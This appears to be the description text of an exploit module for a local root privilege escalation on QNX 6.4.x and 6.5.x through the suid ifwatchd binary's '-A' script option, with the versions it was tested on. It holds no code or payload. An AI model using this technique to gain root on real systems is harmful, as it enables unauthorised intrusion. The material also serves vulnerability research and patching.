        This module attempts to gain root privileges on QNX 6.4.x and 6.5.x
        systems by exploiting the ifwatchd suid executable.

        ifwatchd allows users to specify scripts to execute using the '-A'
        command line argument; however, it does not drop privileges when
        executing user-supplied scripts, resulting in execution of arbitrary
        commands as root.

        This module has been tested successfully on QNX Neutrino 6.5.0 (x86)
        and 6.5.0 SP1 (x86).
